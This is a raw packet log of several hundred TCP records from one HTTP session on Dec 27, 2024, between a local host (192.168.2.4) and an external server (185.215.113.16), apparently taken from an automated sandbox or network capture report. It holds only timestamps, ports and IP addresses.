Dec 27, 2024 09:13:10.913681984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.913724899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.914699078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.914768934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.914812088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.915767908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.915823936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.915852070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.916836023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.916887999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.916997910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.917896032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.917963028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.918020010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.918946981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.919017076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.944236040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.944375038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.944442034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:10.944716930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.944799900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:10.944845915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.028424025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.028443098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.028543949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.028855085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.028924942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.028973103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.029556036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.029664040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.029710054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.030649900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.030669928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.030738115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.031301975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.031375885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.031420946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.032382965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.032519102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.032561064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.033441067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.033545017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.033586979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.034508944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.034601927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.034651041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.035574913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.035697937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.035804987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.036609888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.036708117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.036752939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.037710905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.037781000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.037823915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.038749933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.038868904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.038921118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.039844990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.039947033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.039999962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.040950060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.040997982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.041045904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.041944981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.042062998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.042110920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.043004990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.043107986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.043148994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.044028997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.069195032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.069248915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.069293022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.069688082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.069734097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.069884062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.070003033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.070036888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.070885897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.124955893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.153476954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.153506994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.153569937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.153778076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.153913975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.153955936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.154823065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.154968023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.155014038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.155903101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.155982971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.156023026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.156600952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.156728983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.156774044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.157680035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.157771111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.157805920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.158730984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.158871889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.158912897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.159832001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.159926891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.159964085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.160895109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.160986900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.161031008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.161958933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.162044048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.162090063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.163012981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.163113117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.163152933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.164060116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.164166927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.164207935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.165154934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.165270090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.165318012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.166193008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.166297913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.166341066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.167273045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.167367935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.167411089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.168334961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.168488026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.168529034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.169600010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.169612885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.169660091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.194355965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.194427013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.194478989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.194799900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.194909096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.194950104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.195892096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.195971012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.196022034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.278484106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.278600931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.278666973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.278974056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.279123068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.279164076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.279192924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.280179024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.280237913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.280241013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.280858994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.280905962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.280931950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.281913996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.281960011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.282016039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.282994986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.283047915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.283099890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.284070015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.284116983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.284168959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.285110950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.285190105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.285219908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.286195993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.286242962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.286297083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.287273884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.287334919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.287350893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.288302898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.288351059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.288412094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.289422989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.289470911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.289488077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.290441990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.290514946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.290555000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.291522980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.291563988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.291606903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.292562962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.292598963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.292658091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.293654919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.293703079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.293735981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.294723034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.294770956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.294811010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.295747995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.295799971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.319299936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.319377899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.319441080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.319789886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.319874048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.319916010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.320802927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.375027895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.403732061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.403815031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.403892994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.404232979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.404335976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.404386044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.405314922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.405544996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.405586958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.405608892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.406582117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.406627893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.406714916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.407671928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.407712936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.407732010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.408718109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.408754110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.408771992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.409853935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.409934044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.409955978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.410825014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.410882950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.410924911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.411921978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.411962032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.411971092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.412950993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.413017988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.413073063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.414076090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.414119959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.414156914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.415101051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.415152073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.415191889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.416178942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.416237116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.416296959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.417264938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.417306900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.417323112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.418267965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.418324947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.418381929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.419378042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.419444084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.419506073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.420438051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.420485020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.420510054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.444431067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.444489956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.444523096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.444935083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.444977999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.445034981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.446017027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.446068048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.446068048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.499962091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.528898001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.529005051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.529047012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.529403925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.529505014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.529544115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.530409098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.530659914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.530697107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.530755043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.531817913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.531864882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.531909943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.532794952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.532831907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.532900095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.533852100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.533905983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.534015894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.535160065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.535197973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.535346031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.536050081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.536084890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.536108971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.537117958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.537153959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.537178040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.538116932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.538153887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.538198948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.539189100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.539226055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.539382935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.540297031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.540343046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.540385008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.541363955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.541414022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.541522026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.542387962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.542426109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.542481899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.543447971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.543489933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.543528080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.544493914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.544533968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.544595003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.545578003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.545622110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.545655966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.546623945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.546659946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.570550919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.570658922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.570704937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.571023941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.571134090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.571171999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.572117090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.572186947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.572237015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.654170036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.654237032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.654299021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.654635906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.654740095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.654782057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.655750990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.656052113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.656107903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:11.656141043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.656994104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:11.657047033 CET	49743	80	192.168.2.4	185.215.113.16
